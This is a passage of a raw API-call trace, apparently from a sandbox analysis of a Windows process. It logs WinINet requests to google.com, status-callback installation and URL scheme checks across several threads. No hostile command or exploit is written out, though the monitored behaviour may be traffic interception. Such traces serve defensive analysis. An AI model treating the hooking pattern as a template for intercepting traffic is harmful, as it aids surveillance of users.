(HeapHandle=0x2350000, Flags=0x0, Size=0x80) returned 0x274fe90 [0184.178] InternetQueryOptionA (in: hInternet=0xcc0028, dwOption=0x1c, lpBuffer=0x274f310, lpdwBufferLength=0x3b5a208 | out: lpBuffer=0x274f310, lpdwBufferLength=0x3b5a208) returned 1 [0184.178] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f310 | out: hHeap=0x2350000) returned 1 [0184.178] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274fe90 | out: hHeap=0x2350000) returned 1 [0184.178] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ede8 | out: hHeap=0x2350000) returned 1 [0184.179] HttpSendRequestW (hRequest=0xcc0028, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 0 [0184.205] HttpOpenRequestW (hConnect=0xcc002c, lpszVerb="GET", lpszObjectName="/client_204?&atyp=i&biw=1436&bih=715&ei=1CD9XOX0MZGorgTcn5yIBw", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x3b5b4d4*="*/*", dwFlags=0xc00000, dwContext=0x58e94b8) returned 0xcc0030 [0184.206] InternetQueryOptionA (in: hInternet=0xcc0030, dwOption=0x22, lpBuffer=0x0, lpdwBufferLength=0x3b5b080 | out: lpBuffer=0x0, lpdwBufferLength=0x3b5b080) returned 0 [0184.206] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x56) returned 0x274f310 [0184.206] InternetQueryOptionA (in: hInternet=0xcc0030, dwOption=0x22, lpBuffer=0x274f310, lpdwBufferLength=0x3b5b080 | out: lpBuffer=0x274f310, lpdwBufferLength=0x3b5b080) returned 1 [0184.206] InternetQueryOptionA (in: hInternet=0xcc0030, dwOption=0x1, lpBuffer=0x3b5b060, lpdwBufferLength=0x3b5b058 | out: lpBuffer=0x3b5b060, lpdwBufferLength=0x3b5b058) returned 1 [0184.206] InternetQueryOptionA (in: hInternet=0xcc0030, dwOption=0x15, lpBuffer=0x3b5b05c, lpdwBufferLength=0x3b5b058 | out: lpBuffer=0x3b5b05c, lpdwBufferLength=0x3b5b058) returned 1 [0184.206] InternetQueryOptionA (in: hInternet=0xcc002c, dwOption=0x15, lpBuffer=0x3b5b05c, lpdwBufferLength=0x3b5b058 | out: lpBuffer=0x3b5b05c, lpdwBufferLength=0x3b5b058) returned 1 [0184.206] InternetSetStatusCallbackA (hInternet=0xcc0004, lpfnInternetCallback=0x756d015c) returned 0x756d015c [0184.206] InternetSetStatusCallbackA (hInternet=0xcc0030, lpfnInternetCallback=0x3fbb32) returned 0x756d015c [0184.206] HttpQueryInfoA (in: hRequest=0xcc0030, dwInfoLevel=0x2d, lpBuffer=0x3b5aff4, lpdwBufferLength=0x3b5affc, lpdwIndex=0x3b5b000*=0x0 | out: lpBuffer=0x3b5aff4*, lpdwBufferLength=0x3b5affc*=0x3, lpdwIndex=0x3b5b000*=0x0) returned 1 [0184.206] StrStrIA (lpFirst="https://www.google.com/client_204?&atyp=i&biw=1436&bih=715&ei=1CD9XOX0MZGorgTcn5yIBw", lpSrch="https://") returned="https://www.google.com/client_204?&atyp=i&biw=1436&bih=715&ei=1CD9XOX0MZGorgTcn5yIBw" [0184.206] lstrlenA (lpString="https://www.google.com/client_204?&atyp=i&biw=1436&bih=715&ei=1CD9XOX0MZGorgTcn5yIBw") returned 84 [0184.206] StrStrIA (lpFirst="https://www.google.com/client_204?&atyp=i&biw=1436&bih=715&ei=1CD9XOX0MZGorgTcn5yIBw", lpSrch="http://") returned 0x0 [0184.206] StrStrIA (lpFirst="https://www.google.com/client_204?&atyp=i&biw=1436&bih=715&ei=1CD9XOX0MZGorgTcn5yIBw", lpSrch="https://") returned="https://www.google.com/client_204?&atyp=i&biw=1436&bih=715&ei=1CD9XOX0MZGorgTcn5yIBw" [0184.206] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x80) returned 0x274fe90 [0184.206] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x80) returned 0x274ff18 [0184.206] InternetQueryOptionA (in: hInternet=0xcc0030, dwOption=0x1c, lpBuffer=0x274fe90, lpdwBufferLength=0x3b5b028 | out: lpBuffer=0x274fe90, lpdwBufferLength=0x3b5b028) returned 1 [0184.206] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274fe90 | out: hHeap=0x2350000) returned 1 [0184.206] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ff18 | out: hHeap=0x2350000) returned 1 [0184.206] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f310 | out: hHeap=0x2350000) returned 1 [0184.206] HttpSendRequestW (hRequest=0xcc0030, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 0 [0184.216] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0184.216] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3b5d1ec, lpdwBufferLength=0x3b5d1e8 | out: lpBuffer=0x3b5d1ec, lpdwBufferLength=0x3b5d1e8) returned 0 [0184.216] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0184.460] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/gen_204?s=webhp&t=aft&atyp=csi&ei=1CD9XOX0MZGorgTcn5yIBw&rt=wsrt.undefined,aft.374,prt.140&ima=1&imn=1", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x3b5b3a4*="*/*", dwFlags=0xc00000, dwContext=0x5864f80) returned 0xcc000c [0184.460] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x22, lpBuffer=0x0, lpdwBufferLength=0x3b5af50 | out: lpBuffer=0x0, lpdwBufferLength=0x3b5af50) returned 0 [0184.460] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x7f) returned 0x274f310 [0184.460] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x22, lpBuffer=0x274f310, lpdwBufferLength=0x3b5af50 | out: lpBuffer=0x274f310, lpdwBufferLength=0x3b5af50) returned 1 [0184.460] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x1, lpBuffer=0x3b5af30, lpdwBufferLength=0x3b5af28 | out: lpBuffer=0x3b5af30, lpdwBufferLength=0x3b5af28) returned 1 [0184.460] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3b5af2c, lpdwBufferLength=0x3b5af28 | out: lpBuffer=0x3b5af2c, lpdwBufferLength=0x3b5af28) returned 1 [0184.460] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x3b5af2c, lpdwBufferLength=0x3b5af28 | out: lpBuffer=0x3b5af2c, lpdwBufferLength=0x3b5af28) returned 1 [0184.460] InternetSetStatusCallbackA (hInternet=0xcc0004, lpfnInternetCallback=0x756d015c) returned 0x756d015c [0184.460] InternetSetStatusCallbackA (hInternet=0xcc000c, lpfnInternetCallback=0x3fbb32) returned 0x756d015c [0184.460] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x2d, lpBuffer=0x3b5aec4, lpdwBufferLength=0x3b5aecc, lpdwIndex=0x3b5aed0*=0x0 | out: lpBuffer=0x3b5aec4*, lpdwBufferLength=0x3b5aecc*=0x3, lpdwIndex=0x3b5aed0*=0x0) returned 1 [0184.460] StrStrIA (lpFirst="https://www.google.com/gen_204?s=webhp&t=aft&atyp=csi&ei=1CD9XOX0MZGorgTcn5yIBw&rt=wsrt.undefined,aft.374,prt.140&ima=1&imn=1", lpSrch="https://") returned="https://www.google.com/gen_204?s=webhp&t=aft&atyp=csi&ei=1CD9XOX0MZGorgTcn5yIBw&rt=wsrt.undefined,aft.374,prt.140&ima=1&imn=1" [0184.461] lstrlenA (lpString="https://www.google.com/gen_204?s=webhp&t=aft&atyp=csi&ei=1CD9XOX0MZGorgTcn5yIBw&rt=wsrt.undefined,aft.374,prt.140&ima=1&imn=1") returned 125 [0184.461] StrStrIA (lpFirst="https://www.google.com/gen_204?s=webhp&t=aft&atyp=csi&ei=1CD9XOX0MZGorgTcn5yIBw&rt=wsrt.undefined,aft.374,prt.140&ima=1&imn=1", lpSrch="http://") returned 0x0 [0184.461] StrStrIA (lpFirst="https://www.google.com/gen_204?s=webhp&t=aft&atyp=csi&ei=1CD9XOX0MZGorgTcn5yIBw&rt=wsrt.undefined,aft.374,prt.140&ima=1&imn=1", lpSrch="https://") returned="https://www.google.com/gen_204?s=webhp&t=aft&atyp=csi&ei=1CD9XOX0MZGorgTcn5yIBw&rt=wsrt.undefined,aft.374,prt.140&ima=1&imn=1" [0184.461] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x80) returned 0x274fe90 [0184.461] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x80) returned 0x274ff18 [0184.461] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x1c, lpBuffer=0x274fe90, lpdwBufferLength=0x3b5aef8 | out: lpBuffer=0x274fe90, lpdwBufferLength=0x3b5aef8) returned 1 [0184.461] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274fe90 | out: hHeap=0x2350000) returned 1 [0184.461] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ff18 | out: hHeap=0x2350000) returned 1 [0184.461] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f310 | out: hHeap=0x2350000) returned 1 [0184.461] HttpSendRequestW (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 0 [0184.548] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/xjs/_/js/k=xjs.hp.en.CxYNq1jaiRs.O/m=sb_he,hjsa,d,csi/am=4KEW/d=1/rs=ACT90oFrCSGntP4_dk5FCcNtEAJedda8zg", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x3b5c3c4*="*/*", dwFlags=0xc00000, dwContext=0x58b1cb8) returned 0xcc000c [0184.548] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x22, lpBuffer=0x0, lpdwBufferLength=0x3b5bf70 | out: lpBuffer=0x0, lpdwBufferLength=0x3b5bf70) returned 0 [0184.548] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x80) returned 0x274f310 [0184.548] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x22, lpBuffer=0x274f310, lpdwBufferLength=0x3b5bf70 | out: lpBuffer=0x274f310, lpdwBufferLength=0x3b5bf70) returned 1 [0184.548] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x1, lpBuffer=0x3b5bf50, lpdwBufferLength=0x3b5bf48 | out: lpBuffer=0x3b5bf50, lpdwBufferLength=0x3b5bf48) returned 1 [0184.548] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3b5bf4c, lpdwBufferLength=0x3b5bf48 | out: lpBuffer=0x3b5bf4c, lpdwBufferLength=0x3b5bf48) returned 1 [0184.548] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x3b5bf4c, lpdwBufferLength=0x3b5bf48 | out: lpBuffer=0x3b5bf4c, lpdwBufferLength=0x3b5bf48) returned 1 [0184.548] InternetSetStatusCallbackA (hInternet=0xcc0004, lpfnInternetCallback=0x756d015c) returned 0x756d015c [0184.548] InternetSetStatusCallbackA (hInternet=0xcc000c, lpfnInternetCallback=0x3fbb32) returned 0x756d015c [0184.548] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x2d, lpBuffer=0x3b5bee4, lpdwBufferLength=0x3b5beec, lpdwIndex=0x3b5bef0*=0x0 | out: lpBuffer=0x3b5bee4*, lpdwBufferLength=0x3b5beec*=0x3, lpdwIndex=0x3b5bef0*=0x0) returned 1 [0184.548] StrStrIA (lpFirst="https://www.google.com/xjs/_/js/k=xjs.hp.en.CxYNq1jaiRs.O/m=sb_he,hjsa,d,csi/am=4KEW/d=1/rs=ACT90oFrCSGntP4_dk5FCcNtEAJedda8zg", lpSrch="https://") returned="https://www.google.com/xjs/_/js/k=xjs.hp.en.CxYNq1jaiRs.O/m=sb_he,hjsa,d,csi/am=4KEW/d=1/rs=ACT90oFrCSGntP4_dk5FCcNtEAJedda8zg" [0184.548] lstrlenA (lpString="https://www.google.com/xjs/_/js/k=xjs.hp.en.CxYNq1jaiRs.O/m=sb_he,hjsa,d,csi/am=4KEW/d=1/rs=ACT90oFrCSGntP4_dk5FCcNtEAJedda8zg") returned 126 [0184.548] StrStrIA (lpFirst="https://www.google.com/xjs/_/js/k=xjs.hp.en.CxYNq1jaiRs.O/m=sb_he,hjsa,d,csi/am=4KEW/d=1/rs=ACT90oFrCSGntP4_dk5FCcNtEAJedda8zg", lpSrch="http://") returned 0x0 [0184.548] StrStrIA (lpFirst="https://www.google.com/xjs/_/js/k=xjs.hp.en.CxYNq1jaiRs.O/m=sb_he,hjsa,d,csi/am=4KEW/d=1/rs=ACT90oFrCSGntP4_dk5FCcNtEAJedda8zg", lpSrch="https://") returned="https://www.google.com/xjs/_/js/k=xjs.hp.en.CxYNq1jaiRs.O/m=sb_he,hjsa,d,csi/am=4KEW/d=1/rs=ACT90oFrCSGntP4_dk5FCcNtEAJedda8zg" [0184.548] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x80) returned 0x274fe90 [0184.548] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x80) returned 0x274ff18 [0184.548] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x1c, lpBuffer=0x274fe90, lpdwBufferLength=0x3b5bf18 | out: lpBuffer=0x274fe90, lpdwBufferLength=0x3b5bf18) returned 1 [0184.548] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274fe90 | out: hHeap=0x2350000) returned 1 [0184.548] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ff18 | out: hHeap=0x2350000) returned 1 [0184.548] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f310 | out: hHeap=0x2350000) returned 1 [0184.548] HttpSendRequestW (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 0 Thread: id = 111 os_tid = 0x6f4 [0091.251] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3daf678, lpdwBufferLength=0x3daf674 | out: lpBuffer=0x3daf678, lpdwBufferLength=0x3daf674) returned 1 [0091.251] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x3daf678, lpdwBufferLength=0x3daf674 | out: lpBuffer=0x3daf678, lpdwBufferLength=0x3daf674) returned 1 [0091.251] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x3daf670, lpdwBufferLength=0x3daf674 | out: lpBuffer=0x3daf670, lpdwBufferLength=0x3daf674) returned 1 Thread: id = 112 os_tid = 0x870 [0183.038] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3f3ebf0, lpdwBufferLength=0x3f3ebec | out: lpBuffer=0x3f3ebf0, lpdwBufferLength=0x3f3ebec) returned 1 [0183.038] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x3f3ebf0, lpdwBufferLength=0x3f3ebec | out: lpBuffer=0x3f3ebf0, lpdwBufferLength=0x3f3ebec) returned 1 [0183.038] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x3f3ebe8, lpdwBufferLength=0x3f3ebec | out: lpBuffer=0x3f3ebe8, lpdwBufferLength=0x3f3ebec) returned 1 [0183.061] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3f3eb8c, lpdwBufferLength=0x3f3eb88 | out: lpBuffer=0x3f3eb8c, lpdwBufferLength=0x3f3eb88) returned 1 [0183.061] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x3f3eb8c, lpdwBufferLength=0x3f3eb88 | out: lpBuffer=0x3f3eb8c, lpdwBufferLength=0x3f3eb88) returned 1 [0183.061] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x3f3eb84, lpdwBufferLength=0x3f3eb88 | out: lpBuffer=0x3f3eb84, lpdwBufferLength=0x3f3eb88) returned 1 [0183.061] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3f3f0e8, lpdwBufferLength=0x3f3f0e4 | out: lpBuffer=0x3f3f0e8, lpdwBufferLength=0x3f3f0e4) returned 1 [0183.061] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x3f3f0e8, lpdwBufferLength=0x3f3f0e4 | out: lpBuffer=0x3f3f0e8, lpdwBufferLength=0x3f3f0e4) returned 1 [0183.061] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x3f3f0e0, lpdwBufferLength=0x3f3f0e4 | out: lpBuffer=0x3f3f0e0, lpdwBufferLength=0x3f3f0e4) returned 1 [0183.095] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3f3f5f8, lpdwBufferLength=0x3f3f5f4 | out: lpBuffer=0x3f3f5f8, lpdwBufferLength=0x3f3f5f4) returned 1 [0183.096] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x3f3f5f8, lpdwBufferLength=0x3f3f5f4 | out: lpBuffer=0x3f3f5f8, lpdwBufferLength=0x3f3f5f4) returned 1 [0183.096] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x3f3f5f0, lpdwBufferLength=0x3f3f5f4 | out: lpBuffer=0x3f3f5f0, lpdwBufferLength=0x3f3f5f4) returned 1 [0183.096] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3f3f5a0, lpdwBufferLength=0x3f3f59c | out: lpBuffer=0x3f3f5a0, lpdwBufferLength=0x3f3f59c) returned 1 [0183.096] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x3f3f5a0, lpdwBufferLength=0x3f3f59c | out: lpBuffer=0x3f3f5a0, lpdwBufferLength=0x3f3f59c) returned 1 [0183.096] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x3f3f598, lpdwBufferLength=0x3f3f59c | out: lpBuffer=0x3f3f598, lpdwBufferLength=0x3f3f59c) returned 1 [0183.098] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3f3f5a0, lpdwBufferLength=0x3f3f59c | out: lpBuffer=0x3f3f5a0, lpdwBufferLength=0x3f3f59c) returned 1 [0183.098] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x3f3f5a0, lpdwBufferLength=0x3f3f59c | out: lpBuffer=0x3f3f5a0, lpdwBufferLength=0x3f3f59c) returned 1 [0183.098] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x3f3f598, lpdwBufferLength=0x3f3f59c | out: lpBuffer=0x3f3f598, lpdwBufferLength=0x3f3f59c) returned 1 [0183.098] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3f3f510, lpdwBufferLength=0x3f3f50c | out: lpBuffer=0x3f3f510, lpdwBufferLength=0x3f3f50c) returned 1 [0183.098] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x3f3f510, lpdwBufferLength=0x3f3f50c | out: lpBuffer=0x3f3f510, lpdwBufferLength=0x3f3f50c) returned 1 [0183.098] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x3f3f508, lpdwBufferLength=0x3f3f50c | out: lpBuffer=0x3f3f508, lpdwBufferLength=0x3f3f50c) returned 1 [0183.161] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3f3f678, lpdwBufferLength=0x3f3f674 | out: lpBuffer=0x3f3f678, lpdwBufferLength=0x3f3f674) returned 1 [0183.161] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x3f3f678, lpdwBufferLength=0x3f3f674 | out: lpBuffer=0x3f3f678, lpdwBufferLength=0x3f3f674) returned 1 [0183.161] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x3f3f670, lpdwBufferLength=0x3f3f674 | out: lpBuffer=0x3f3f670, lpdwBufferLength=0x3f3f674) returned 1 [0183.162] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x1, lpBuffer=0x3f3f3e0, lpdwBufferLength=0x3f3f3d8 | out: lpBuffer=0x3f3f3e0, lpdwBufferLength=0x3f3f3d8) returned 1 [0183.162] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x2d, lpBuffer=0x3f3f374, lpdwBufferLength=0x3f3f37c, lpdwIndex=0x3f3f380*=0x0 | out: lpBuffer=0x3f3f374*, lpdwBufferLength=0x3f3f37c*=0x3, lpdwIndex=0x3f3f380*=0x0) returned 1 [0183.162] StrStrIA (lpFirst="http://www.google.com/", lpSrch="https://") returned 0x0 [0183.162] lstrlenA (lpString="http://www.google.com/") returned 22 [0183.162] StrStrIA (lpFirst="http://www.google.com/", lpSrch="http://") returned="http://www.google.com/" [0183.162] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x80) returned 0x274f310 [0183.163] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x80) returned 0x274fe90 [0183.163] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x1c, lpBuffer=0x274f310, lpdwBufferLength=0x3f3f3a8 | out: lpBuffer=0x274f310, lpdwBufferLength=0x3f3f3a8) returned 1 [0183.163] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f310 | out: hHeap=0x2350000) returned 1 [0183.163] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274fe90 | out: hHeap=0x2350000) returned 1 [0183.163] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3f3f400, lpdwBufferLength=0x3f3f3fc | out: lpBuffer=0x3f3f400, lpdwBufferLength=0x3f3f3fc) returned 1 [0183.163] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x3f3f400, lpdwBufferLength=0x3f3f3fc | out: lpBuffer=0x3f3f400, lpdwBufferLength=0x3f3f3fc) returned 1 [0183.163] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x3f3f3f8, lpdwBufferLength=0x3f3f3fc | out: lpBuffer=0x3f3f3f8, lpdwBufferLength=0x3f3f3fc) returned 1 [0183.167] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3f3ebf0, lpdwBufferLength=0x3f3ebec | out: lpBuffer=0x3f3ebf0, lpdwBufferLength=0x3f3ebec) returned 1 [0183.167] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x3f3ebf0, lpdwBufferLength=0x3f3ebec | out: lpBuffer=0x3f3ebf0, lpdwBufferLength=0x3f3ebec) returned 1 [0183.167] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x3f3ebe8, lpdwBufferLength=0x3f3ebec | out: lpBuffer=0x3f3ebe8, lpdwBufferLength=0x3f3ebec) returned 1 [0183.179] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3f3eb8c, lpdwBufferLength=0x3f3eb88 | out: lpBuffer=0x3f3eb8c, lpdwBufferLength=0x3f3eb88) returned 1 [0183.179] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x3f3eb8c, lpdwBufferLength=0x3f3eb88 | out: lpBuffer=0x3f3eb8c, lpdwBufferLength=0x3f3eb88) returned 1 [0183.179] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x3f3eb84, lpdwBufferLength=0x3f3eb88 | out: lpBuffer=0x3f3eb84, lpdwBufferLength=0x3f3eb88) returned 1 [0183.179] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3f3f0e8, lpdwBufferLength=0x3f3f0e4 | out: lpBuffer=0x3f3f0e8, lpdwBufferLength=0x3f3f0e4) returned 1 [0183.179] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x3f3f0e8, lpdwBufferLength=0x3f3f0e4 | out: lpBuffer=0x3f3f0e8, lpdwBufferLength=0x3f3f0e4) returned 1 [0183.179] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x3f3f0e0, lpdwBufferLength=0x3f3f0e4 | out: lpBuffer=0x3f3f0e0, lpdwBufferLength=0x3f3f0e4) returned 1 [0183.200] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3f3f5f8, lpdwBufferLength=0x3f3f5f4 | out: lpBuffer=0x3f3f5f8, lpdwBufferLength=0x3f3f5f4) returned 1 [0183.200] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x3f3f5f8, lpdwBufferLength=0x3f3f5f4 | out: lpBuffer=0x3f3f5f8, lpdwBufferLength=0x3f3f5f4) returned 1 [0183.200] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x3f3f5f0, lpdwBufferLength=0x3f3f5f4 | out: lpBuffer=0x3f3f5f0, lpdwBufferLength=0x3f3f5f4) returned 1 [0183.200] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3f3f5a0, lpdwBufferLength=0x3f3f59c | out: lpBuffer=0x3f3f5a0, lpdwBufferLength=0x3f3f59c) returned 1 [0183.200] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x3f3f5a0, lpdwBufferLength=0x3f3f59c | out: lpBuffer=0x3f3f5a0, lpdwBufferLength=0x3f3f59c) returned 1 [0183.200] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x3f3f598, lpdwBufferLength=0x3f3f59c | out: lpBuffer=0x3f3f598, lpdwBufferLength=0x3f3f59c) returned 1 [0183.203] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3f3f5a0, lpdwBufferLength=0x3f3f59c | out: lpBuffer=0x3f3f5a0, lpdwBufferLength=0x3f3f59c) returned 1 [0183.203] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x3f3f5a0, lpdwBufferLength=0x3f3f59c | out: lpBuffer=0x3f3f5a0, lpdwBufferLength=0x3f3f59c) returned 1 [0183.203] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x3f3f598, lpdwBufferLength=0x3f3f59c | out: lpBuffer=0x3f3f598, lpdwBufferLength=0x3f3f59c) returned 1 [0183.203] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3f3f510, lpdwBufferLength=0x3f3f50c | out: lpBuffer=0x3f3f510, lpdwBufferLength=0x3f3f50c) returned 1 [0183.203] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x3f3f510, lpdwBufferLength=0x3f3f50c | out: lpBuffer=0x3f3f510, lpdwBufferLength=0x3f3f50c) returned 1 [0183.203] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x3f3f508, lpdwBufferLength=0x3f3f50c | out: lpBuffer=0x3f3f508, lpdwBufferLength=0x3f3f50c) returned 1 [0183.270] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3f3f678, lpdwBufferLength=0x3f3f674 | out: lpBuffer=0x3f3f678, lpdwBufferLength=0x3f3f674) returned 1 [0183.270] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x3f3f678, lpdwBufferLength=0x3f3f674 | out: lpBuffer=0x3f3f678, lpdwBufferLength=0x3f3f674) returned 1 [0183.270] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x3f3f670, lpdwBufferLength=0x3f3f674 | out: lpBuffer=0x3f3f670, lpdwBufferLength=0x3f3f674) returned 1 [0183.270] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3f3f5cc, lpdwBufferLength=0x3f3f5c8 | out: lpBuffer=0x3f3f5cc, lpdwBufferLength=0x3f3f5c8) returned 1 [0183.270] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x3f3f5cc, lpdwBufferLength=0x3f3f5c8 | out: lpBuffer=0x3f3f5cc, lpdwBufferLength=0x3f3f5c8) returned 1 [0183.270] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x3f3f5c4, lpdwBufferLength=0x3f3f5c8 | out: lpBuffer=0x3f3f5c4, lpdwBufferLength=0x3f3f5c8) returned 1 [0183.282] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x3f3f5cc, lpdwBufferLength=0x3f3f5c8 | out: lpBuffer=0x3f3f5cc, lpdwBufferLength=0x3f3f5c8) returned 1 [0183.282] InternetQueryOptionA (in: 